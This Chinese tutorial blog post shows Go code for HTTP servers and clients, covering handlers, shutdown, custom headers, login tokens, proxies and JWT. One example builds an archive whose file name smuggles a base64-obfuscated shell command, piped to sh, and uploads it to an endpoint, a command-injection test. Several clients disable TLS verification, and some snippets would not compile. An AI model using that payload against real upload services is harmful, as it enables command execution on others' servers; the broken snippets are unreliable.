当前位置: 首页 > news >正文

用go实现http服务端和请求端

一、概述

        本文旨在学习记录下如何用go实现建立一个http服务器,同时构造一个专用格式的http客户端。

二、代码实现

2.1 构造http服务端

1、http服务处理流程

基于HTTP构建的服务标准模型包括两个端,客户端(Client)和服务端(Server)。HTTP 请求从客户端发出,服务端接受到请求后进行处理然后将响应返回给客户端。所以http服务器的工作就在于如何接受来自客户端的请求,并向客户端返回响应。 

  • 使用http.HandleFunc实现http服务,返回hello world
package mainimport ("fmt""net/http"
)func HelloHandler(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w, "Hello World")
}func main () {http.HandleFunc("/", HelloHandler)http.ListenAndServe(":8000", nil)
}
  • 使用http.Handle实现http服务
package mainimport ("fmt""net/http"
)type HelloHandlerStruct struct {content string
}//必须实现此方法,且名称为ServerHTTP
func (handler *HelloHandlerStruct) ServeHTTP(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w, handler.content)
}func main()  {http.Handle("/", &HelloHandlerStruct{content: "Hello World"})http.ListenAndServe(":8000", nil)
}
  • 优雅的关闭http服务
package mainimport ("context""fmt""io/ioutil""log""net/http""os""os/signal""syscall""time"
)type EchoHandler struct{}func (handler EchoHandler) ServeHTTP(writer http.ResponseWriter, request *http.Request) {// 设置响应头writer.Header().Add("X-Data", "foo")// 设置相应的cookiehttp.SetCookie(writer, &http.Cookie{Name:   "x-cookie",Value:  "bar",MaxAge: 86400,Secure: true,})//设置响应状态码为200writer.WriteHeader(200)// 设置响应体,打印网络请求信息fmt.Fprintln(writer, "===== Network =====")fmt.Fprintln(writer, "Remote Address:", request.RemoteAddr)fmt.Fprintln(writer)// 设置响应体,打印请求方法 url host 协议信息fmt.Fprintln(writer, "===== Request Line =====")fmt.Fprintln(writer, "Method: ", request.Method)fmt.Fprintln(writer, "URL: ", request.URL)fmt.Fprintln(writer, "Host: ", request.Host)//fmt.Fprintln(writer, "URI: ", request.RequestURI)fmt.Fprintf(writer, "Protocol: %v major=%v minor=%v\n", request.Proto,request.ProtoMajor, request.ProtoMinor)fmt.Fprintln(writer)// 设置输出请求的请求头fmt.Fprintln(writer, "===== Header =====")for k, v := range request.Header {fmt.Fprintf(writer, "%v: %v\n", k, v)}fmt.Fprintln(writer)// 设置输出请求的bodybody, err := ioutil.ReadAll(request.Body)if err == nil && len(body) > 0 {fmt.Fprintln(writer, "===== Raw Body =====")fmt.Fprintln(writer, string(body))}
}func main() {// 创建系统信号接收器done := make(chan os.Signal)signal.Notify(done, os.Interrupt, syscall.SIGINT, syscall.SIGTERM)// 创建 HTTP 服务器server := &http.Server{Addr:    ":8000",Handler: EchoHandler{},}// 启动 HTTP 服务器go func() {log.Println("Server starting...")if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {log.Fatalf("ListenAndServe: %v", err)}}()// 监听系统信号并执行关闭操作<-donelog.Println("Server shutting down...")// 创建一个超时上下文,确保关闭操作不会无限期等待ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)defer cancel()if err := server.Shutdown(ctx); err != nil {log.Fatal("Shutdown server:", err)}log.Println("Server gracefully stopped")
}

2.2 构建http客户端

1、基本介绍及使用

net/http 包提供了最简洁的 HTTP 客户端实现,无需借助第三方网络通信库(比如 libcurl)就可以直接使用最常见的 GET 和 POST 方式发起 HTTP 请求。

func (c *Client) Get(url string) (r *Response, err error)
func (c *Client) Post(url string, bodyType string, body io.Reader) (r *Response, err error)
func (c *Client) PostForm(url string, data url.Values) (r *Response, err error)
func (c *Client) Head(url string) (r *Response, err error)
func (c *Client) Do(req *Request) (resp *Response, err error)

基本的代码实现:

package mainimport ("bytes""fmt""io/ioutil""net/http"
)func main() {// 目标 URLbaseUrl := "http://localhost"// 执行 GET 请求doGet(baseUrl + "/gettest")// 执行 POST 请求doPost(baseUrl + "/posttest")// 执行 POST Form 请求doPostForm(baseUrl + "/postform")
}func doGet(url string) {response, err := http.Get(url)if err != nil {fmt.Println("GET request failed:", err)return}defer response.Body.Close()body, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("Error reading response:", err)return}fmt.Println("GET Response:")fmt.Println(string(body))
}func doPost(url string) {// 准备 POST 请求的 JSON 数据jsonPayload := []byte(`{"key": "value"}`)response, err := http.Post(url, "application/json", bytes.NewBuffer(jsonPayload))if err != nil {fmt.Println("POST request failed:", err)return}defer response.Body.Close()body, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("Error reading response:", err)return}fmt.Println("POST Response:")fmt.Println(string(body))
}func doPostForm(url string) {// 准备 POST Form 数据data := url.Values{}data.Add("name", "Alice")data.Add("age", "30")response, err := http.PostForm(url, data)if err != nil {fmt.Println("POST Form request failed:", err)return}defer response.Body.Close()body, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("Error reading response:", err)return}fmt.Println("POST Form Response:")fmt.Println(string(body))
}

2、自定义请求头,以及绕过https验证

package mainimport ("fmt""net/http""net/url""strings"
)func main() {// 自定义请求头headers := map[string]string{"User-Agent": "Your Custom User-Agent","Host":       "example.com", // 自定义 Host}// 目标 URLtargetURL := "https://example.com" // 替换为你的目标 URL// 创建自定义 Transporttr := &http.Transport{TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证TLSHandshakeTimeout:   5,                         // 超时时间(秒)DisableKeepAlives:     true,                     // 禁用连接复用IdleConnTimeout:       30,                       // 空闲连接超时时间(秒)MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数ResponseHeaderTimeout: 5,                        // 响应头超时时间(秒)}// 创建自定义客户端client := &http.Client{Transport: tr,}// 发送 GET 请求response, err := client.Get(targetURL)if err != nil {fmt.Println("GET request failed:", err)return}defer response.Body.Close()// 读取响应内容body := make([]byte, 1024)n, err := response.Body.Read(body)if err != nil {fmt.Println("Error reading response:", err)return}// 输出响应内容fmt.Println("Response:")fmt.Println(string(body[:n]))
}

3、实现登录后会话保持以及自定义请求头

package mainimport ("fmt""net/http""net/url""strings"
)func main() {// 自定义请求头headers := map[string]string{"User-Agent": "Your Custom User-Agent","Host":       "example.com", // 自定义 Host}// 目标 URLbaseURL := "https://example.com" // 替换为你的目标 URLloginURL := baseURL + "/login"   // 登录 URLsecuredURL := baseURL + "/secured-resource" // 需要 Token 的 URL// 准备登录请求的数据loginData := url.Values{"user": {"admin"},"pass": {"123456"},}// 创建自定义 Transporttr := &http.Transport{TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证TLSHandshakeTimeout:   5,                         // 超时时间(秒)DisableKeepAlives:     true,                     // 禁用连接复用IdleConnTimeout:       30,                       // 空闲连接超时时间(秒)MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数ResponseHeaderTimeout: 5,                        // 响应头超时时间(秒)}// 创建自定义客户端client := &http.Client{Transport: tr,}// 发送登录请求loginRequest, err := http.NewRequest("POST", loginURL, strings.NewReader(loginData.Encode()))if err != nil {fmt.Println("Error creating login request:", err)return}// 设置登录请求的头部和内容类型loginRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")for key, value := range headers {loginRequest.Header.Set(key, value)}loginResponse, err := client.Do(loginRequest)if err != nil {fmt.Println("Login request failed:", err)return}defer loginResponse.Body.Close()// 获取登录后的 Tokenvar token stringfor _, cookie := range loginResponse.Cookies() {if cookie.Name == "token" {token = cookie.Valuebreak}}if token == "" {fmt.Println("Login failed. No token received.")return}fmt.Println("Login successful. Token:", token)// 在后续请求中添加 Token 到请求头securedRequest, err := http.NewRequest("GET", securedURL, nil)if err != nil {fmt.Println("Error creating secured request:", err)return}securedRequest.Header.Set("Authorization", "Bearer "+token) // 添加 Token 到请求头for key, value := range headers {securedRequest.Header.Set(key, value)}securedResponse, err := client.Do(securedRequest)if err != nil {fmt.Println("Secured request failed:", err)return}defer securedResponse.Body.Close()// 读取并输出响应内容responseBody, err := ioutil.ReadAll(securedResponse.Body)if err != nil {fmt.Println("Error reading response body:", err)return}fmt.Println("Secured resource response:")fmt.Println(string(responseBody))
}

4、构造一个带特殊字符的压缩包,并且通过接口上传

package mainimport ("archive/tar""bytes""compress/gzip""crypto/tls""fmt""io""io/ioutil""mime/multipart""net/http""os"
)func main() {// 压缩文件内容tarContent := generateTarGzContent("11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")// 发送 HTTP POST 请求url := "https://example.com/upload" // 替换为你的目标 URLuploadTarGz(url, tarContent)
}func generateTarGzContent(filename string) []byte {var buf bytes.Buffergw := gzip.NewWriter(&buf)tw := tar.NewWriter(gw)// 添加文件到 tar 压缩包fileContent := []byte("This is the content of 11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")header := &tar.Header{Name: filename,Size: int64(len(fileContent)),}if err := tw.WriteHeader(header); err != nil {fmt.Println("写入 tar 头部失败:", err)os.Exit(1)}if _, err := tw.Write(fileContent); err != nil {fmt.Println("写入文件内容失败:", err)os.Exit(1)}// 关闭 tar 和 gzip 缓冲区if err := tw.Close(); err != nil {fmt.Println("关闭 tar 失败:", err)os.Exit(1)}if err := gw.Close(); err != nil {fmt.Println("关闭 gzip 失败:", err)os.Exit(1)}return buf.Bytes()
}func uploadTarGz(url string, tarContent []byte) {// 创建一个 Buffer,用于构建 multipart/form-data 请求体var requestBody bytes.Bufferwriter := multipart.NewWriter(&requestBody)// 写入 tar.gz 文件part, err := writer.CreateFormFile("file", "test.tar.gz")if err != nil {fmt.Println("创建表单文件失败:", err)os.Exit(1)}if _, err := io.Copy(part, bytes.NewReader(tarContent)); err != nil {fmt.Println("写入文件内容失败:", err)os.Exit(1)}// 关闭 multipart writerwriter.Close()// 创建 HTTP 请求req, err := http.NewRequest("POST", url, &requestBody)if err != nil {fmt.Println("创建请求失败:", err)os.Exit(1)}req.Header.Set("Content-Type", writer.FormDataContentType())// 创建一个自定义的 Transport,用于跳过 HTTPS 证书验证tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true},}// 使用自定义 Transport 发起请求client := &http.Client{Transport: tr}response, err := client.Do(req)if err != nil {fmt.Println("请求失败:", err)os.Exit(1)}defer response.Body.Close()// 读取响应内容responseBody, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("读取响应内容失败:", err)os.Exit(1)}fmt.Println("响应内容:")fmt.Println(string(responseBody))
}

5、设置http代理

package mainimport ("fmt""net/http""net/url""os"
)func main() {// 创建 HTTP 客户端,并设置代理proxyURL, err := url.Parse("http://127.0.0.1:8080") // 替换为您的代理服务器地址if err != nil {fmt.Println("解析代理地址失败:", err)os.Exit(1)}client := &http.Client{Transport: &http.Transport{Proxy: http.ProxyURL(proxyURL),},}// 创建 HTTP 请求url := "https://example.com" // 替换为您要请求的目标 URLrequest, err := http.NewRequest("GET", url, nil)if err != nil {fmt.Println("创建请求失败:", err)os.Exit(1)}// 发送 HTTP 请求response, err := client.Do(request)if err != nil {fmt.Println("请求失败:", err)os.Exit(1)}defer response.Body.Close()// 读取响应内容responseBody := make([]byte, 0)buffer := make([]byte, 1024)for {n, err := response.Body.Read(buffer)if n > 0 {responseBody = append(responseBody, buffer[:n]...)}if err != nil {break}}fmt.Println("响应内容:")fmt.Println(string(responseBody))
}

6、综合实践 

// 生成jwt token
func CreateJWT(claim jwt.Claims) (string, error) {//读取 RSA私钥文件privateKeyBytes, err := ioutil.ReadFile(privateKeyPath)if err != nil {return "", err}//解析RSA私钥privateKey, err := jwt.ParseRSAPrivateKeyFromPEM(privateKeyBytes)if err != nil {return "", err}//创建jwttoken := jwt.NewWithClaims(jwt.SigningMethodRS256, claim)//使用私钥进行签名tokenString, err := token.SignedString(privateKey)return tokenString, nil
}// 验证token有效性,主要为想做成直接用解析提供的token并从中获取想要的参数,避免传入过多参数,暂时未用上
func ParseToken(tokenStr string) (interface{}, error) {//读取RSA公钥文件publicKeyBytes, err := ioutil.ReadFile(publicKeyPath)if err != nil {return "", nil}//解析RSA 公钥publicKey, err := jwt.ParseRSAPublicKeyFromPEM(publicKeyBytes)if err != nil {return "", err}//解析tokentoken, err := jwt.Parse(tokenStr, func(token *jwt.Token) (interface{}, error) {if token.Method != jwt.SigningMethodRS256 {return nil, fmt.Errorf("加密方法有误,非rsa256,而是:%v", token.Header["alg"])}return publicKey, nil})//检查解析是否成功if err != nil {return nil, err}//验证token是否有效if !token.Valid {return nil, fmt.Errorf("无效token")} else if claims, ok := token.Claims.(jwt.MapClaims); ok {//通过key获取具体的Claims值fmt.Println("touken有效,正在提取其中的Claims。。。。")return claims, nil} else {return nil, fmt.Errorf("token有效,但是无法提取Claims")}}func GetCookie(token, url string) (string, error) {//自定义请求头headers := map[string]string{"token":           token, //利用生成的token"User-Agent":      "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36","Accept":          " application/json, text/plain, */*","Accept-Encoding": "gzip, deflate","Content-Type":    "application/json","Accept-Language": "zh-CN,zh;q=0.9",}//fmt.Println("\nurl 为", baseurl)//创建代理/* 	proxyURL, err := url.Parse("http://127.0.0.1:8080") //设置代理地址if err != nil {fmt.Println("解析代理地址失败", err)os.Exit(1)} */// 创建自定义 Transporttr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证//TLSHandshakeTimeout: 10,                                    // 超时时间(秒)DisableKeepAlives:   true, // 禁用连接复用IdleConnTimeout:     30,   // 空闲连接超时时间(秒)MaxIdleConnsPerHost: 20,   // 每个主机的最大空闲连接数//ResponseHeaderTimeout: 10, // 响应头超时时间(秒)//Proxy: http.ProxyURL(proxyURL), //设置代理服务器}//创建自定义客户端client := &http.Client{Transport: tr,Timeout:   time.Second * 10, //设置请求的超时时间}//创建JSON请求体requestBody := map[string]interface{}{"username":            "123456","password": "1",}//将请求体编码为 JSON格式jsonData, err := json.Marshal(requestBody)if err != nil {fmt.Println("JSON 编码错误", err)return "", err}//创建post请求request, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonData))if err != nil {fmt.Println("创建请求错误", err)return "", err}//设置请求头for key, value := range headers {request.Header.Set(key, value)}//发送POST请求response, err := client.Do(request)if err != nil {fmt.Println("\n请求错误:", err)return "", err}defer response.Body.Close()/* 	// 读取响应内容var responseStr stringbuf := new(bytes.Buffer)_, err = buf.ReadFrom(response.Body)if err != nil {return "", err}responseStr = buf.String()// 检查响应状态码if response.StatusCode != http.StatusOK {return "", fmt.Errorf("响应状态码为 %d", response.StatusCode)}return responseStr, nil *///处理响应:仅针对返回body为json格式数据var responseBody map[string]interface{}decoder := json.NewDecoder(response.Body)if err := decoder.Decode(&responseBody); err != nil {fmt.Println("响应解析错误", err)return "", err}//输出响应fmt.Println("响应状态码:", response.Status)fmt.Println("响应数据ret:", responseBody["ret"])var retflag float64retflag = 1if responseBody["ret"].(float64) == retflag {setCookieHeaders := response.Header["Set-Cookie"]return setCookieHeaders[0], nil} else {return "", fmt.Errorf("错误信息:%s", responseBody["error"])}

相关文章:

用go实现http服务端和请求端

一、概述 本文旨在学习记录下如何用go实现建立一个http服务器&#xff0c;同时构造一个专用格式的http客户端。 二、代码实现 2.1 构造http服务端 1、http服务处理流程 基于HTTP构建的服务标准模型包括两个端&#xff0c;客户端(Client)和服务端(Server)。HTTP 请求从客户端…...

幂级数和幂级数的和函数有什么关系?

幂级数和幂级数的和函数有什么关系&#xff1f; 本文例子引用自&#xff1a;80_1幂级数运算&#xff0c;逐项积分、求导【小元老师】高等数学&#xff0c;考研数学 求幂级数 ∑ n 1 ∞ 1 n x n \sum\limits_{n1}^{\infty}\frac{1}{n}x^n n1∑∞​n1​xn 的和函数 &#xff…...

Git多账号管理通过ssh 公钥的方式,git,gitlab,gitee

按照目前国内访问git&#xff0c;如果不科学上网&#xff0c;我们很大可能访问会超时。基于这个&#xff0c;所以我现在的git 配置已经增加到了3个了 一个公司gitlab&#xff0c;一个git&#xff0c;一个gitee. 以下基于这个环境&#xff0c;我们来说明下如何创建配置ssh公钥。…...

在nodejs常见的不良做法及其优化解决方案

在nodejs常见的不良做法及其优化解决方案 当涉及到在express和nodejs中开发应用程序时。遵循最佳实践对于确保项目的健壮性、可维护性和安全性至关重要。 在本文中&#xff0c;我们将探索开发人员经常遇到的几种常见的错误做法&#xff0c;并通过代码示例研究优化的最佳做法&…...

关于layui upload上传组件上传文件无反应的问题

最近使用layui upload组件时&#xff0c;碰到了上传文件无反应的问题&#xff0c;感到非常困惑。 因为使用layui upload组件不是一次两次了&#xff0c;之前每次都可以&#xff0c;这次使用同样的配方&#xff0c;同样的姿势&#xff0c;为什么就不行了呢&#xff1f; 照例先…...

容器网络之Flannel

​ 第一个问题位置变化&#xff0c;往往是通过一个称为注册中心的地方统一管理的&#xff0c;这个是应用自己做的。当一个应用启动的时候&#xff0c;将自己所在环境的 IP 地址和端口&#xff0c;注册到注册中心指挥部&#xff0c;这样其他的应用请求它的时候&#xff0c;到指挥…...

SVM(下):如何进行乳腺癌检测?

⭐️⭐️⭐️⭐️⭐️欢迎来到我的博客⭐️⭐️⭐️⭐️⭐️ 🐴作者:秋无之地 🐴简介:CSDN爬虫、后端、大数据领域创作者。目前从事python爬虫、后端和大数据等相关工作,主要擅长领域有:爬虫、后端、大数据开发、数据分析等。 🐴欢迎小伙伴们点赞👍🏻、收藏⭐️、…...

嵌入式Linux应用开发-第十五章具体单板的按键驱动程序

嵌入式Linux应用开发-第十五章具体单板的按键驱动程序 第十五章 具体单板的按键驱动程序(查询方式)15.1 GPIO操作回顾15.2 AM335X的按键驱动程序(查询方式)15.2.1 先看原理图确定引脚及操作方法15.2.2 再看芯片手册确定寄存器及操作方法15.2.3 编程15.2.3.1 程序框架15.2.3.2 硬…...

MySQL体系结构和四层架构介绍

MySQL体系结构图如下&#xff1a; 四层介绍 1. 连接层&#xff1a; 它的主要功能是处理客户端与MySQL服务器之间的连接(比如Java应用程序通过JDBC连接MySQL)。当客户端应用程序连接到MySQL服务器时&#xff0c;连接层对用户进行身份验证、建立安全连接并管理会话状态。它还处理…...

【产品运营】如何做好B端产品规划

产品规划是基于当下掌握的多维度信息&#xff0c;为追求特定目的&#xff0c;而制定的产品资源投入计划。 产品规划是基于当下掌握的多维度信息&#xff08;客户需求、市场趋势、竞争对手、竞争策略等&#xff09;&#xff0c;为追求特定目的&#xff08;商业增长、客户满意等&…...

ruoyi-启动

1 springboot 版本 git 地址 ruoyi-vue-pro: &#x1f525; 官方推荐 &#x1f525; RuoYi-Vue 全新 Pro 版本&#xff0c;优化重构所有功能。基于 Spring Boot MyBatis Plus Vue & Element 实现的后台管理系统 微信小程序&#xff0c;支持 RBAC 动态权限、数据权限…...

select完成服务器并发

服务器 #include <myhead.h>#define PORT 4399 //端口号 #define IP "192.168.0.191"//IP地址//键盘输入事件 int keybord_events(fd_set readfds); //客户端交互事件 int cliRcvSnd_events(int , struct sockaddr_in*, fd_set *, int *); //客户端连接事件 …...

初级篇—第四章聚合函数

文章目录 聚合函数介绍聚合函数介绍COUNT函数AVG和SUM函数MIN和MAX函数 GROUP BY语法基本使用使用多个列分组WITH ROLLUP HAVING基本使用WHERE和HAVING的对比开发中的选择 SELECT的执行过程查询的结构SQL 的执行原理 练习流程函数 聚合函数介绍 聚合函数作用于一组数据&#x…...

计算机图像处理-中值滤波

非线性滤波 非线性滤波是利用原始图像跟模版之间的一种逻辑关系得到结果&#xff0c;常用的非线性滤波方法有中值滤波和高斯双边滤波&#xff0c;分别对应cv2.medianBlur(src, ksize)方法和cv2.bilateralFilter(src, d, sigmaColor, sigmaSpace[, dst[, borderType]])方法。 …...

Golang中的包和模块设计

Go&#xff0c;也被称为Golang&#xff0c;是一种静态类型、编译型语言&#xff0c;因其简洁性和对并发编程的强大支持而受到开发者们的喜爱。Go编程的一个关键方面是其包和模块系统&#xff0c;它允许创建可重用、可维护和高效的代码。本博客文章将深入探讨在Go中设计包和模块…...

web:[极客大挑战 2019]Upload

题目 页面显示为一个上传&#xff0c;猜测上传一句话木马文件 先查看源代码看一下有没有有用的信息&#xff0c;说明要先上传图片&#xff0c;先尝试上传含有一句话木马的图片 构造payload <?php eval($_POST[123]);?> 上传后页面显示为&#xff0c;不能包含<&…...

ICMP差错包

ICMP报文分类 Type Code 描述 查询/差错 0-Echo响应 0 Echo响应报文 查询 3-目的不可达 0 目标网络不可达报文 差错 1 目标主机不可达报文 差错 2 目标协议不可达报文 差错 3 目标端口不可达报文 差错 4 要求分段并设置DF flag标志报文 差错 5 源路由…...

算法基础课第二部分

算法基础课 第四讲 数学知识AcWing1381. 阶乘(同余&#xff0c;因式分解) 质数AcWing 866. 质数的判定---试除法AcWing 868. 质数的判定---埃氏筛AcWing867. 分解质因数---试除法AcWing 197. 阶乘---分解质因数---埃式筛 约数AcWing 869. 求约数---试除法AcWing 870. 约数个数-…...

【数据结构】外部排序、多路平衡归并与败者树、置换-选择排序(生成初始归并段)、最佳归并树算法

目录 1、外部排序 1.1 基本概念 1.2 方法 2、多路平衡归并与败者树 2.1 K路平衡归并 2.2 败者树 3、置换-选择排序&#xff08;生成初始归并段&#xff09;​编辑 4、最佳归并树 4.1 理论基础​编辑 4.2 构造方法 ​编辑 5、各种排序算法的性质 1、外部排序 1.1 基本概…...

抽象工厂模式 创建性模式之五

在看这篇文章之前&#xff0c;请先看看“简单工厂模式”和“工厂方法模式”这两篇博文&#xff0c;会更有助于理解。我们现在已经知道&#xff0c;简单工厂模式就是用一个简单工厂去创建多个产品&#xff0c;工厂方法模式是每一个具体的工厂只生产一个具体的产品&#xff0c;然…...

Xshell远程连接Kali(默认 | 私钥)Note版

前言:xshell远程连接&#xff0c;私钥连接和常规默认连接 任务一 开启ssh服务 service ssh status //查看ssh服务状态 service ssh start //开启ssh服务 update-rc.d ssh enable //开启自启动ssh服务 任务二 修改配置文件 vi /etc/ssh/ssh_config //第一…...

《从零掌握MIPI CSI-2: 协议精解与FPGA摄像头开发实战》-- CSI-2 协议详细解析 (一)

CSI-2 协议详细解析 (一&#xff09; 1. CSI-2层定义&#xff08;CSI-2 Layer Definitions&#xff09; 分层结构 &#xff1a;CSI-2协议分为6层&#xff1a; 物理层&#xff08;PHY Layer&#xff09; &#xff1a; 定义电气特性、时钟机制和传输介质&#xff08;导线&#…...

使用分级同态加密防御梯度泄漏

抽象 联邦学习 &#xff08;FL&#xff09; 支持跨分布式客户端进行协作模型训练&#xff0c;而无需共享原始数据&#xff0c;这使其成为在互联和自动驾驶汽车 &#xff08;CAV&#xff09; 等领域保护隐私的机器学习的一种很有前途的方法。然而&#xff0c;最近的研究表明&…...

cf2117E

原题链接&#xff1a;https://codeforces.com/contest/2117/problem/E 题目背景&#xff1a; 给定两个数组a,b&#xff0c;可以执行多次以下操作&#xff1a;选择 i (1 < i < n - 1)&#xff0c;并设置 或&#xff0c;也可以在执行上述操作前执行一次删除任意 和 。求…...

vue3 定时器-定义全局方法 vue+ts

1.创建ts文件 路径&#xff1a;src/utils/timer.ts 完整代码&#xff1a; import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...

python报错No module named ‘tensorflow.keras‘

是由于不同版本的tensorflow下的keras所在的路径不同&#xff0c;结合所安装的tensorflow的目录结构修改from语句即可。 原语句&#xff1a; from tensorflow.keras.layers import Conv1D, MaxPooling1D, LSTM, Dense 修改后&#xff1a; from tensorflow.python.keras.lay…...

A2A JS SDK 完整教程:快速入门指南

目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库&#xff…...

学习一下用鸿蒙​​DevEco Studio HarmonyOS5实现百度地图

在鸿蒙&#xff08;HarmonyOS5&#xff09;中集成百度地图&#xff0c;可以通过以下步骤和技术方案实现。结合鸿蒙的分布式能力和百度地图的API&#xff0c;可以构建跨设备的定位、导航和地图展示功能。 ​​1. 鸿蒙环境准备​​ ​​开发工具​​&#xff1a;下载安装 ​​De…...

在 Visual Studio Code 中使用驭码 CodeRider 提升开发效率:以冒泡排序为例

目录 前言1 插件安装与配置1.1 安装驭码 CodeRider1.2 初始配置建议 2 示例代码&#xff1a;冒泡排序3 驭码 CodeRider 功能详解3.1 功能概览3.2 代码解释功能3.3 自动注释生成3.4 逻辑修改功能3.5 单元测试自动生成3.6 代码优化建议 4 驭码的实际应用建议5 常见问题与解决建议…...

Vue3 PC端 UI组件库我更推荐Naive UI

一、Vue3生态现状与UI库选择的重要性 随着Vue3的稳定发布和Composition API的广泛采用&#xff0c;前端开发者面临着UI组件库的重新选择。一个好的UI库不仅能提升开发效率&#xff0c;还能确保项目的长期可维护性。本文将对比三大主流Vue3 UI库&#xff08;Naive UI、Element …...